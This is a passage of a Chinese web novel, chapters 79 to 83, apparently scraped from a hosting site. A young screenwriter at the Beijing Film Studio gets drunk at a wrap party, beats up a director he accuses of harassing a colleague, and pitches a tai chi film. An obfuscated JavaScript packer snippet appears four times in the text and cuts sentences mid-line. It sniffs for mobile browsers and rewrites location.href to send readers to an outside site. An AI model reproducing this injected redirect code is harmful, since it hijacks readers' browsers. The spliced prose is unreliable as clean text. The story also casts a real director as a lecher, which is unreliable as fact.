高远一乐,摸出一把零钱,挑了三张一块的一张五**的递给她,然后苦恼地说道:“我也没个东西装啊……” 话音未落,佟大爷从窗户里探出脑袋来,哟呵道:“小子,接着。” 嗖! 一个军用书包甩过来。 高远隔空取物,嚯,还挺沉。 “谢了大爷。” “给我来一根双棒就得。” 您还挺会吃。 高远把冰棍全部装进军用书包里,拿着一根双棒走到窗户前递给大爷,调侃一句小心别崩了后槽牙啊。 气得佟大爷吹胡子瞪眼的。 他哈哈笑着奔食堂而去。 食堂里很热闹,大家都知道《瞧这一家子》剧组今天正式完成了全部拍摄任务,主动给腾了地方,让剧组小小的庆祝一下。 高远怕冰棍化了,小跑着进来,大声说道:“来来来,都来拿冰棍,一人一根啊,不许多吃多占。” 陈佩斯和几个年轻人走过来,从他肩膀上把书包摘下,主动承担起分冰棍的任务。 高远也拿着一根奶油冰棍嗦啦着,见宽敞的食堂中央已经摆好了三张折叠餐桌,李健群在第二张餐桌前就座,他走过去,挨着姐姐坐下。 “怎么不来一根?是不喜欢吃吗?”他笑嘻嘻问道。 李健群脸一红,低声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402260|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太方便。” 哦,明白了,亲戚来了。 高远给她倒了杯茶,放到她面前,说:“多喝热水吧。” 李健群剜他一眼,心说你很懂啊,嗯了一声,端起茶杯抿了一口。 食堂大师傅操刀,菜很丰盛。 一共摆了三桌,每桌十个人,公家请客。 连汪阳都来了。 酒水管够,除了导演,高远被敬酒最多。 他来者不拒,酒到杯干。 喝到最后,主动敬了几杯,一杯敬老厂长,一杯敬导演,最后一杯敬全组所有演职人员。 感谢同志们对这个故事的高度认可和拍摄期间的辛苦付出。 陈佩斯搂着他的脖子动情道:“兄弟,感谢的话哥就不说了,今后事儿上见。” 高远也喝得五迷三道,拍拍他的大腿,说:“二子哥,啥也不用说,以后多合作。” “必须的!” “再走一个?” “走一个!” 一顿饭吃到十点才散。 高远是被陈佩斯和梁晓声架回房间的。 **喝了多少,只记得掺酒了,喝到后来也不知哪位仙人提议用扎啤冲冲,他一激动,拿起塑料杯子咣咣一顿灌。 然后就钻桌子底下去了。 梁晓声和陈佩斯那俩货把人扔到床上就不负责任地走人了。 看着人事不知如烂泥一般的高远,李健群叹息一声,把他摆正,给他脱了鞋袜,又扒掉的确良衬衣。 看一眼裤子,姑娘脸一红,到底没好意思帮他脱。 拽过一床毛巾被轻轻搭在他肚子上,接着出门下楼,又去了趟食堂,拜托大师傅做了碗醒酒汤端回来。 等醒酒汤晾凉的工夫,李健群投了条毛巾,给这货擦了脸擦了手。 没成想,高远酒精上头,一伸手,将李美人搂进怀中,嘟囔着:“姐姐,我好喜欢你呀。” 李健群呀了一声,忙挣脱,却挣不开,红着脸说道:“高远,你松手啊。” 高远又迷迷糊糊嘟囔了一句什么,翻个身,一条腿夹住毛巾被,呼呼睡了过去。 李健群解放了,看看他四仰八叉的样子,呸了声,脸红心跳地转身跑了。 管你喝不喝醒酒汤,醉**才好呢。 第80章 茬架 宿醉!宿醉!宿醉! 高远一睁眼,我又重生了? 怎么眼么前儿全是虚影? 胃里往上一阵翻腾,他呕了声,只觉头疼欲裂,恶心反胃,连忙爬起来鞋都顾不上穿捂着嘴向外面冲去。 连滚带爬钻进厕所,那冲味儿刚钻进鼻孔中,这货一张嘴,哗就射出了一道彩虹。 刚把鸟掏出来准备放风的郑伟后退了两步,看得目瞪狗呆。 “高老师,您没事儿吧?”他把鸟塞回笼子里,又走上前,伸手搀着高远的胳膊,关切问道。 高老师射……喷完,一抹嘴,露出个比哭还难看的笑容来,说:“让郑哥见笑了,昨晚喝太多,倒醉了。吐出来就舒服多了,没吐您身上吧?” 郑伟笑笑,说:“没,我躲得快。你也是,年轻也不能那么个喝法的,谁敬你你都干啊。酒是公家的,身子骨可是自个儿的。” “大家伙儿太热情了,哪个敬酒,我不喝都觉得不好意思。嗐,就是吃了年轻的亏。郑哥,我昨晚到底喝了多少啊?” “这事儿就别在厕所里聊了,你先回去洗把脸漱漱口,等我尿完了过去找你。” 高远点点头,转身走了。 回到房间,见桌子上放着碗醒酒汤,这货死活没想起来是谁端过来的,叹息一声,暗暗发誓,今后可不能再喝这么多了。 他也不嫌凉,端起醒酒汤一饮而尽。 酸酸辣辣的味道一进到胃里,他更难受了。 妈的,一点暖胃的效果都没起到,还不解渴,于是又咣咣灌了两杯凉白开。 缓了一会儿,他洗脸刷牙,又洗了脚,也懒得去倒洗脚水了,往床上一坐,郑伟推开门走了进来。 “好受点儿没?”郑伟笑着问道。 “还成吧,缓一天应该就差不多了。”高远没精打采地回答道。 “你昨晚把大家都惊着了,一个人喝了一斤半高度白酒,三大扎啤酒,要不是喝到最后出溜到桌子底下去了,还散不了场呢。” “唉……丢人了啊。” “那倒不至于,大家都很高兴,也都能体谅你的心情,毕竟这部戏是由你的第一部作品拍摄而成,你高兴、激动,大家都能感同身受。” “昨天晚上我咋回来的啊?” “晓声和佩斯把你架回来的。” “以后可不能再这么喝了,不然非得醉死在酒场上不可。” 郑伟哈哈大笑,“喝多的人第二天都这么说,等酒劲儿过去了,酒杯一端,又生龙活虎老子天下第一了。” 高远也乐了,又问道:“今天怎么如此安静?” 郑伟说道:“电影拍摄完成,并不代表着工作结束了,还要进行后期制作,王导带着剧组的人去剪辑那边了。” 他看看手表,又说道:“你歇着吧,我也得去文学部了。” 高远想起身送一下,被郑伟摁住了肩膀。 目送他离开房间,高远一栽歪,又睡了过去。 再睁开眼时已经下午两点钟了。 这会儿他才感觉到胃里舒服了很多,有气无力地爬起来,也不觉得饿,找出条大裤衩子穿上,套了件学校里发的红色跨栏背心,趿拉着拖鞋出门下楼。 这形象,跟后进青年一个德行。 但那件印着“BJ大学”四个大字的红背心挺引人注目的。 大太阳地儿,高远往厂门口溜达过去,打算寻个卖冰棍的买一根嗦啦嗦啦。 刚走到大门口,见小叔蹬着自行车过来了。 车子吱地一声停在他面前,高跃林瞧瞧他,乐不可支道:“小伙儿挺颓废啊,咋了这是?” “唉……昨晚喝多了,到现在都没缓过来。” “跟谁喝的?” “电影拍完了,剧组简单庆祝了一下。” 高跃林点点头表示明白了。 “您这是从哪儿过来的?怎么灰头土脸的?”高远也打量着他,穿一件灰色半袖,一条棉麻裤子,脚上是一双黑面红底的布鞋,头发凌乱,风尘仆仆的样子。 “嗐,甭提了,我还能从哪儿来,从南城过来的呗,想来问问你,我那事儿办得怎么样了,结果骑到半道上碰到了一邪乎事儿。” 高跃林从车子上下来,摸出烟来叼上一根,点着后把剩下大半包丢给高远,又说道:“两伙人茬架,出动了小百十口子,我一瞧,把南城北城有名有号的都给惊动了。 像什么牛道、马道、大骡子、驴哥、兔儿爷那几位纷纷现身,两伙人打得那叫一个惨烈,那叫一个人仰马翻。 吓得我一路猛蹬,赶紧逃离了战场。 太他妈血腥了。” 这都是什么破名字? 高远抽口烟,一乐,“您还有害怕的时候啊?” “废话!你小叔我虽说算不上是个有为青年,但是从不打大架,虚张声势的事情倒是干过不少,但哪次不是有人出面一调停我就借坡下驴了?” “这倒是实话,知道那两伙人为啥茬起来了么?” “我跑还来不及,打听那个干嘛使?别说这个了,我那事儿你给办得咋样了?” “沉住气吧,老厂长已经答应帮忙了,但是得等我把剧本写完,他看过后觉得没问题,能拍,才会把您调进来。” 高跃林忙问道:“那你写完没有?” 高远把烟头丢在地上踩灭,说:“写完了,正打算交给他呢。” 高跃林笑得有点不好意思,“小远,小叔谢谢你了,为了小叔工作的事情,还让你搭人情,对了……” 他从后座上取下来一个包,递给高远道:“这里面有几双凉鞋,也不是啥值钱的东西,你拿回去给相好不错的同事们分一分,多少算小叔一点心意吧。” 高远拿出一双看了看,塑料凉鞋,土灰和白两种颜色,土灰色是男士的,白色是女士的,做工倒是挺精致,质量也不错。 就是……怎么说呢? 这玩意儿穿上容易臭脚。 “从哪儿弄的?”高远一看有十多双,塞满了整整一个大包,疑惑地问道。 高跃林一呲牙,说道:“跟凤芝买来的,放心,都是塑料厂的积压产品,不值钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402261|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “您别跟我说最近这段儿您一直在捣鼓这个吧?” “嘿嘿,又让你说对了,我八毛钱一双买过来,然后每双加价五**往外卖,出货量嗖嗖的。你放心,我不在城里卖,专往大兴、昌平、顺义、通县、房山那些地方跑。” 高远担心的就是这个,小叔若是在城里卖,万一被打投办的人抓到了,麻烦可就大了。 所谓“打投办”,指的是打击投机倒把犯罪分子办公室,权力很大的一个机构。 幸好小叔是有头脑的,没在城里胡作非为,还知道往乡下钻。 瞧他这得意洋洋的神色,高远也乐了,问他道:“这段儿没少挣吧?” 高跃林一笑,伸出两个手指头说道:“不到这个数。” “才不到二百块啊,我还以为您挣了多少呢。” “是不到两千块。” 这货倒吸一口凉气,“这么多!” 高跃林嘚瑟道:“我现在才知道什么叫广阔天地大有作为,小远我跟你说,别小看农村市场,农民伯伯的购买力是不足,但架不住城里人都乌泱乌泱往农村大集里涌啊。” 高远明白了,现如今没放开私营经济,城里不允许做买卖,但农村大集逐步放开。 城里物资匮乏,大家想吃口好的就得去县城里淘换,这就造成了一到赶集的日子下面各区县就热火朝天的景象。 现在是买方市场,你只要手里有东西就不愁卖。 又适逢夏季,这种塑料凉鞋虽说穿着臭脚,在城里也属于统购统销、限量上架的物资。 对城里的百姓们来说,却是生活必需品。 小叔有进货渠道,拿到乡下去卖,自然能赚个盆满钵满。 “要说还是您牛气啊,这眼光,这魄力,都是一等一的好。” 高远上辈子就知道小叔有这个赚钱的本事,他是块做生意的料,最大的缺点就是存不住钱,挣了钱不花出去就跟要他命似的。 “你小子别夸我了,小叔这也是被逼的,连个正经工作都没有,总不能混吃等死吧。” 高跃林咧嘴一笑,又道:“我进货的钱还是你给的,按理说小叔挣的这些钱应该有你一份儿,但小叔先不给你,这买卖还能干一段儿时间,等我把门头沟、平谷、怀柔、延庆等地儿都跑个遍后再跟你分账。” 高远笑道:“咱爷儿俩就别分得那么清楚了,您挣了钱给我买些好吃的就成。 还有啊,我得提醒您一句,等哪天我把您工作的事情落实了,只要跟您说,您就得放下手里的买卖赶紧过来上班,这可一点都不能耽误,不然我就白忙活了。” 高跃林点头道:“那是自然的,进剧组工作是我的梦想,放心,哪头轻哪头重你小叔我还是分得清的。。” 高远心说,工作是你屁的梦想,你的梦想是进剧组拍婆子吧? 李健群拎着个小皮包走了过来,见叔侄二人正聊天,她没想打扰,准备悄咪咪离开。 高远一扭头看到了她,忙喊道:“健群姐,你这是干嘛去啊?” 第81章 打了个流氓 李健群脚步匆匆,边走边说道:“戏拍完了,我跟导演知会过了,先回学校报到了。另外导演告诉我说,让我等厂里通知后才能来厂工作。” 高远看她表情不自然,走得快,且匆忙,脸色煞白,瘦弱肩膀上的小皮包一晃一晃的,眼神儿也透着一股慌张。 他走上前,挡在李老师面前,伸手拢一下她额前的碎发,急切问道:“你这是怎么了?干嘛那么慌张?要回学校你跟我说一声啊,我还不能送你去坐火车吗?” 没等姐姐回答,一个声音传了过来:“小高你松开手,干嘛呢?光天化日之下你还想耍流氓不成?” 高远一愣,随即抬眼向后面望去。 大步流星走过来一名男子,三十来岁的年纪,容长脸儿,戴着眼镜,细眉小眼儿塌塌鼻,嘴唇菲薄短下巴,满脸正义,却眼神闪避。 黄健中啊这是。 **戈壁的! 一个渣男。 见他走过来,伸手要去抓李健群的包,对自己更是怒目而视,咬牙切齿的样子,高远瞬间怒了。 啪! 他挡在姐姐面前,出手如闪电一般,扇开黄健中的爪子。 “耍流氓?是你耍流氓还是我耍流氓?老王八蛋,你以为我不知道你想干嘛?**不就看人家女同志长得漂亮,想占便宜么。知道这是谁吗?这是我姐,敢欺负我姐,老子弄死你老丫挺的!” 高远太知道这是个啥玩意儿了,后世,张钰那事儿几乎让他身败名裂。 咱不管他冤不冤,总之苍蝇不叮无缝的蛋。 边说着,高远边一伸手,擒住他的手腕,使劲往下一掰…… 黄健中猝不及防,双膝一跪,痛彻心扉,哎呦哎呦求饶:“高远,小高,高老师,你是不是误会了? 我对小李没啥想法,也不是看她长得漂亮就心生歹意,我这不是正想独立执导一部作品么,想邀请小李担任女主角,所以才追随过来的。 我错了还不成,邀请方式不对了成不成,不该对小李动手动脚的,让你误会了,你看在咱们都是同行的份儿上,放手吧。 厂门口呢,这也不好看啊。” 佟大爷伸出头来看着,接着一撇嘴:“呸!无耻败类!” 高远才不信他说的话,脸上冷若冰霜,仍旧掰着他的手腕子,使劲往下压,“扯JB蛋!” 黄健中:“我没说谎,真就是觉得小李适合演我影片中的角色,所以才,啊……你松手啊!” 高远不为所动,又往下压了压。 他太清楚这个圈子里那些破事了,除了投资人外,导演是一部电影,一部电视剧的绝对核心,太多心术不正的老色狼借助导演这层身份祸害美少女战士了。 当然,也有许许多多的美少女战士为了成名英勇献身。 黄健中是前者,高远上辈子就知道这货不是块好饼。 高跃林乐了,转一下眼珠儿,打量着李建群,心里有数了,轻声对她说道:“姑娘,这事儿僵住了,以我对远子的了解,你不出面,他就得把那个男人活活弄死。” 见高远动了真怒,李健群心急火燎的走上前,对他说道:“远子,放开黄导演吧,他的确对我没啥歹意。” “没歹意他对你动手动脚的?还他妈恶人先告状,说我耍流氓,今儿我若是不让这个老王八蛋吃点苦头,他永远闹不清楚他二姨是个老太婆儿!” 说着,高远把人往上一提,跟着一脚踹在他波棱盖上。 黄健中哎呦一声又跪了,豆大的汗珠顺着脸颊淌落下来,望向高远的目光既恨又惧。 “高远,听姐的,松手,为了这种**动干戈,不值当的。”李健群慌忙拉住高远的手,劝道。 “远子,算了,你今后还要在北影厂混呢,名声臭了可就不值得了。”小叔也劝了一句。 高远哼了声,这次松开手。 他目光冷冽望着黄健中,警告道:“今儿我给我姐一面子,不跟你计较了,但你给我记住,今后离我姐远一点,要是再让我看见你骚扰她,我管你什么导演不导演的,老子让你在这行混不下去!” 黄健中知道高远现在是汪阳跟前的大红人,他敢放这话,只能说明人家底气十足。 他不由得心生悔意,明知道李健群跟高远走得近,没事儿招惹李健群干嘛? 色欲熏心了。 “我知道了,小高你放心,我保证不再出现在小李姑娘面前。”说完,他爬起来,一瘸一拐地走了。 高远又哼了一声,转过头来却是满脸笑容,“健群姐,我送你去火车站吧。” 李健群又气又笑,心里暖意融融,“我自己去就行,你……醒酒了?” 听了她的问话,高远猛地瞪大了眼睛,“醒了醒了,那个啥,那碗醒酒汤是姐姐你给我煮的?” “我可没那手艺,是我拜托食堂的大师傅煮给你的。” “那我昨天晚上有没有做啥……” “哎呀,我走了。” 李健群一跺脚,飞快地塞给这货一张纸条,然后向公交车站台跑去。 高远是丈二和尚摸不着头脑。 咋了这是? 难不成昨天晚上我真干了啥不该干的事情吗? 还是说了啥不该说的话? 记不住了。 喝酒误事啊。 旁边的高跃林哈哈大笑。 高远瞪他一眼,说:“笑个屁啊笑。” “你小子还看不出来么,人姑娘对你动心了。还有啊,我没猜错的话,你小子昨晚趁着喝醉酒,肯定对人家动手动脚来着,要不然姑娘不会听你那么一问就慌忙跑了,这是臊的。” “经验挺丰富啊您。” “那是,你小叔我也是万花丛中过,片叶不沾身的主儿,不知道有多讨姑娘们喜欢呢,要不要小叔教你几招泡妞儿秘籍啊?” “你可算了吧,我用你教?别没正形了,赶紧走吧,我还有事儿呢。” 高跃林嘿嘿一笑,说:“大老远的跑一趟有点累,我去你家混顿饭吃。” “随便吧您。”高远说完,展开纸条看了看,纸条上写着一个地址,明珠市华山路630号。 他乐了,这是戏剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402262|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学院的地址啊,姐姐这是让自己给她写信。 见小叔蹬着车子走了,高远把纸条揣好,买了根冰棍嗦啦着,先回房间拿了《李志远》和《太极宗师》两个剧本,然后去主楼敲开了厂长办公室的门。 汪阳一见他就笑,冲他招手道:“快进来,本子弄完了?” 高远走过去坐下,把两个剧本递给汪阳,笑道:“弄完了,您看看质量如何。” 汪阳接过去,把《李志远》放在一边,推推眼镜说道:“这个《李志远》不用看了,是经过检验的,《BJ文艺》上已经发表了,引起了社会层面的广泛讨论。” 高远一笑,说道:“我也是前阵子接到张德凝的电话才知道已经刊发了,她还托人给我送了几本样刊来。” 汪阳点点头,“几位文坛老前辈对你这部小说评价很高啊,尤其对李志远这个人物,夸你塑造的温暖、有力、形象饱满。 好几位老同志跟我说,一定要把这部电影拍好,他们看小说都忍不住热泪盈眶了,电影拍出来,一定会更加感染人心。 还嘱咐我说,要尊重原著进行拍摄。” 高远嘿嘿一笑,问道:“这么说,这部电影可以进入到筹备阶段了?” 汪阳也笑道:“可不是那么简单的事情,得上报啊,得到批准后才能筹备起来,不然我们哪来的拍摄资金。” 这年头儿,电影也是统购统销。 前文提过,拍电影是国家任务,国家规定,拍摄制作一部电影,先把剧本递交上级主管部门,也就是电影局审核,通过后才能进入到筹拍阶段。 一部电影,最多投入资金七十万。 拍摄制作完成,电影制作厂家是没有权利往外卖的,发行权和销售权归属于中影公司。 具体来说,就是在电影发行上,国家成立电影发行放映公司,在各省、市建立发行机构,制订了发行放映经营管理的各种制度。 电影产品一经完成,即交由中影公司按规定价格一次性买断电影,然后再由中影公司分别按照省、市、县这样的行政层级的发行公司发行到各家电影院。 俗称:卖拷贝。 那么,这时候的拷贝多少钱一个呢? 16毫米的胶片拷贝,科教片一般在100——200元就能拿下,故事片贵很多,价格在200——500元不等。 35毫米的胶片拷贝通常比16毫米的贵一倍。 听完老厂长的话,高远挠挠头,说道:“是我想简单了。” 汪阳递给他一根烟,说道:“国家规定就是这样,也是没办法的事情。好了,不说这个了,总之这部剧不会拖得太久,几位老领导、老干部们都关注着呢。 我看看你这部武打片。” 他翻开剧本看了起来,入眼就是剧名《太极宗师》。 汪阳抬头,呵呵笑着望向高远,揶揄道:“我就说嘛,你小子,是个有心思的,你这是投其所好啊,知道国家领导好这口儿,喜欢打太极,你就弄了这么个本子递过来,你这个意图不要太明显哦。” 第82章 突如其来的邀请 高远没明白,直愣愣看着老厂长。 汪阳见他不明所以,不像假装出来的,又问道:“你不知道?” “我知道啥啊?我啥都不知道。” “廖公爱极了太极拳,他自个儿也练,文化这个领域的工作,现在是廖公在管。” 廖公? 高远琢磨琢磨,想起来了,廖公,承志也。 这个不能多说。 他苦笑不已,说道:“我真没想到这一层,更没有处心积虑讨好谁的心思,也没必要去讨好谁。” 汪阳饶有兴趣地看着他,问道:“哦?这个怎么说?” 高远难得吐露点心扉,直言道:“我大伯叫高跃华。” 汪阳两眼大睁,一拍桌子说道:“好你个小子,瞒得够严实的呀,你大伯竟然是高部长,亲的?” “亲的不能再亲了,高老大跟我爸是一个妈生的,我爸行二,另外您知道,我还有个小叔,底下还有个小姑。” “那你确实没必要讨好谁了。喝水自个儿倒,我先把你这个故事看完。” 老厂长以为高远存着点往上爬的小心思,没成想这小子的家世也不一般。 有高部长护着,这个年轻人的前途指定差不了。 高远起身,拿了个白瓷杯倒了杯水回来,坐在椅子上有一口没一口地喝着。 他也不着急,老厂长今年62了,眼睛早已老花,那眼镜片厚得跟瓶底子似的,看一页就得摘下来揉揉眉心。 高远喝了三杯白开水,烟也抽三根,老厂长这才放下稿子。 “你写的这个人物,有原型吧?” “您慧眼如炬,原型叫杨露禅,此人是历史上的武术名家,河北人氏。” “少拍我马屁,你这剧本开头涂抹得乱七八糟,我看不出来才怪了。” 老厂长一笑,又道:“故事结构还是不错的,你说的这个杨露禅,我多少也听说过一些,他出生于哪一年我记不住了,只记得他经历过道光、咸丰、同治三个朝代。 那时候我泱泱华夏,正处在墙倒众人推,破鼓万人捶的年月,**战争,八国联军进中国,火烧圆明园…… 我从你这个故事里看出点儿不一样的东西来。 立意拔得挺高啊,侠之大者,为国为民。” 高远羞赧一笑,对不起啊庸砸,大家伙儿都不容易,都是为了混口饭吃,哥们儿冒犯了。 “我是这么想的,但凡武打类型的影片,首先要向观众解释一个问题,主角为什么要学武?” 高远又点了根烟,侃侃而谈:“无非两点原因,往小里说,学习武术可以强身健体,往大里说,学习武艺能够保家卫国。 这是武打片的核心立意,总不能向观众们传递不健康思想,学武是为了出去泡姑娘,耍流氓吧? 所以,我才有了您看到的这个立意。 实话说我查了不少资料,发现杨露禅在京开设武馆授徒教学其实没什么远大理想,他只想把太极发扬光大。 这样写肯定不行,影片拍出来太缺乏支撑了。 我就给他升华了一下,把主角设定为一个有志青年,学艺期间适逢师父的仇人找上门来,三番两次跟他师父寻仇。 第一次,主角救了女主,从而获得了师父的认可,被师父纳入门下。 第二次,仇家人多势众,用淬了蛇毒的暗器把师父中伤。 主角为救治师父的性命北上京城寻求解药,到京后却发现偌大的京城遍地烟馆,处处妓院,黄头发蓝眼珠的外国人个个横行无忌、飞扬跋扈。 搞得四九城里民不聊生。 这是主角转变思想,立下以武强国宏愿的一个关键性转折。 他辗转找到一个中间人跟仇家说和,就是文中写到的那个爱武如痴的王爷。 王爷答应为他转圜,仇家看在王爷的面子上才勉强应下摆开擂台,你杨昱乾只要答应了,就会给你解药。 后来,杨昱乾连战七大高手均获得了胜利,不仅救了师父一条性命,更是一战成名,进而名扬天下。 他这才在京城开设武馆授徒,实现他以武强国的伟大理想,也将太极这门功夫传承下来,流传至今。” 汪阳听完,沉默了片刻,随即点点头,说道:“核心创作思路没问题,别的不说,仅仅是弘扬中华传统武术这个立意就很深刻了。 但是我看,你这故事里描写了几个外国人啊,像什么棒子国跆拳道高手朴仁勇,小日子女忍者大桥未久,**的摔跤勇士他不楞,印度瑜伽神婆小咖喱黄不辣…… 小贼,假如说这部片子审核通过了,你让我上哪儿给你淘换这些个外国演员去? 你这不是强人所难么?” 高远乐了,“嗐,根本用不着淘换外国演员,您没看我塑造的这几个角色都是黄皮肤的么,找几个长相特点鲜明的国内演员客串一下就成。 反正都是后期配音。” 汪阳也笑了,点头说:“那就按你说的弄,还有啊,你这起的都是什么破名字。小贼,你这知识学杂了啊,北大就教你这个啊?” 高远咧嘴一笑,道:“它本质上是一部武打片,内核也有搞笑的成分。我跟您说实话吧厂长,《李志远》这本子我写得头都快秃了,写完后才发现,我根本就不是写严肃文学的那块料。 深挖不了人的思想根源,我还是更愿意写点儿通俗易懂的东西。” “你这个想法可要不得啊,现在的主流就是严肃文学,你写出来的东西得深刻,得批判,得歌颂称赞这个时代!” 汪阳喝口茶,又道:“当然我也不是说你写通俗文学就不好,不正确,但你得往主流创作方向上去靠拢,不然,你拿什么进作协?” “老厂长,我就没打算进作协的,您别再劝了,老话说:有多大荷叶包多大粽子。 我才18岁,尚且在读书,还没经历过社会的毒打,对于人性啊、思想性啊、批判啊之类的认识不足,您鼓动我在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402263|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个年纪就写出什么鸿篇巨著来,那才是强人所难呢。 我真不是天才啊。” 高远哀嚎道。 汪阳哈哈一乐,一想也对,这孩子才多大,虽说他比同龄人要优秀很多,但也不能拔苗助长,期望他在小小年纪就写出一部震惊文坛的华丽篇章来。 话又说回来了,有一部《李志远》,也足够他在文坛站稳脚跟了。 那可是连廖公看了都称赞不已的作品。 “你小子,满嘴都是歪理。”汪阳笑骂他一句,又道:“行,我明白你的心思了,以后你爱写啥写啥,别偏离大方向就成,就这么着吧。” 这是端茶送客? 高远坐着没动,笑道:“我小叔那事儿您看……” 汪阳气乐了,道:“你小叔的人事关系落在哪里了?” “暂时落在建国门街道办事处了。” “回去等着吧。” 这就是吐口了,意思是他会找人把小叔的人事关系调进厂里来的。 高远喜出望外,起身冲老厂长一抱拳,道:“大恩不言谢!” “那你还是言谢吧,别整得跟咱俩多熟似的。”汪阳又挖苦他一句。 高远嬉皮笑脸,道:“人不都说我是您跟前儿的红人嘛,您怎么可能跟我不熟啊。” 汪阳立马笑着说:“你这么说,那我可得问你一句了,你这个我跟前儿的红人愿不愿意来北影厂工作啊?” 高远愣住了。 其实他心里明镜儿似的,知道老厂长早就想把自己赚上梁山,他只是没想到老厂长会这么突兀地提出来。 “厂长,我还没毕业呢,不符合厂里的用人条件吧?” 高远想得挺多,也挺深,来,他肯定是愿意来的,但是进场后自个儿是个什么身份呢? 大学没毕业就进厂工作,那就是个职工,等毕了业再进场,那是干部身份。 普通职工和国家干部,待遇天差地别。 显然,汪阳也考虑到这点了,他说道:“我想过了,厂里可以给你发个聘书,让你先成为北影厂的特聘编剧,聘用期到你毕业那天。 等你毕业后,厂里去跟北大要人也就顺理成章了。” 高远酝酿片刻后说道:“您让我考虑考虑成不?” 汪阳笑着说:“好好考虑啊我跟你说,你只要答应了,好处少不了你小子的,给你开一份工资就不说了,你的稿费,我们也会适当给你提升一下的。” 老狐狸。 你是怎么知道我喜欢钱的? 高远智商在线,没头脑一热纳头便拜,含糊道:“您放心,我会好好考虑的。” 小狐狸。 我就不信这条件还拿不下你来。 汪阳挥挥手,说道:“走吧走吧,你也该回学校上几天课了。” 高远这才向老厂长告辞,转身离开他的办公室。 出了门,他心说,虽然我不想走,但不走真不行了,马上就要期末考试,再不回去就真交代不过去了。 第83章 断章狗 高远回学校前做了两件事情,首先,他拜托梁晓声把《太极宗师》给《**故事会》编辑部寄过去。 其次,他回了趟家,找了个罐头瓶子,装了满满一瓶辣椒黄瓜咸菜。 咸菜是老妈腌制的,嘱咐他回学校时带一些给室友、同学们尝尝。 把罐头瓶子往布兜里一放,他锁好门下楼,蹬上自行车回了阔别已久的北大校园。 眼下正处在考试阶段,校园里随处可见手拿书本认真复习功课的同学们。 尤其三角地、未名湖畔、博雅塔下,同学们三五成群,或低声交流,或大声朗读,一派欣欣向荣。 图书馆里更是人满为患,从早晨开馆,到晚上闭馆,同学们用巨大的学习热情将两万多平米的图书馆硬生生变成了沙丁鱼罐头。 高远眼前的图书馆是新馆,1975年建成,坐落于学校C位。 它是当前国内建筑面积最大,条件最好,藏书最多的图书馆。 高远先回寝室看了一眼,发现寝室里空无一人,擒住隔壁304的黄子平一问才知道,那几个货都在图书馆埋头复习呢。 他便找了过来,结果一看,得,咱也别去凑那个热闹了,因为根本挤不进去。 他抹身又回了寝室。 三天后,一罐头瓶子辣椒黄瓜咸菜被室友们联合隔壁两个寝室关系不错的同学吃了个一干二净。 瓶子里那点儿汤也没浪费,让葛兆光和陈建功倒上水灌进了肚子里。 高远也顺利考完上半学期的所有科目。 陈建功问他道:“考得如何?” 正在整理床铺的高远笑着说:“还行吧,及格没问题。” “谦虚了,连高老师都只能考及格的话,我们这帮资质平庸的家伙岂不是都要挂科了。”梁左又开始嘴碎。 “找茬还是找抽,你明说。”高远撸胳膊挽袖子。 “高老师,找茬相当于找抽,你这话本身就有问题。”葛兆光笑着说道。 高远也乐,瞥梁左一眼,说:“老梁这个家伙,三天不打上房揭瓦,时不时就得给他紧紧皮子,你要让他太舒坦了,他自个儿都觉得浑身不得劲儿。” “这话没说,用你的话说,这货有点儿便宜。”杨迎明笑道。 “哥儿几个就那我开涮吧。”梁左也乐得不行了。 “对了,放暑假了,你们有啥安排不?”陈建功问了一句。 大家都望向高远。 “我能有啥安排啊,回家找妈。你们几个呢?” “高小刚说是要带领部分同学去他曾经插队的地方延庆县与当地农民同吃同住同劳动,有点儿忆苦思甜的意思,咱班报名的不少,我在想,要不要掺和掺和。”陈建功说道。 高远问道:“都谁报名了?” 陈建功说道:“孙霄兵、龚玉、黄蓓佳、岑献青几个。” “都是积极要求进步的好同志啊,你们去吧,我就不馋和了。” 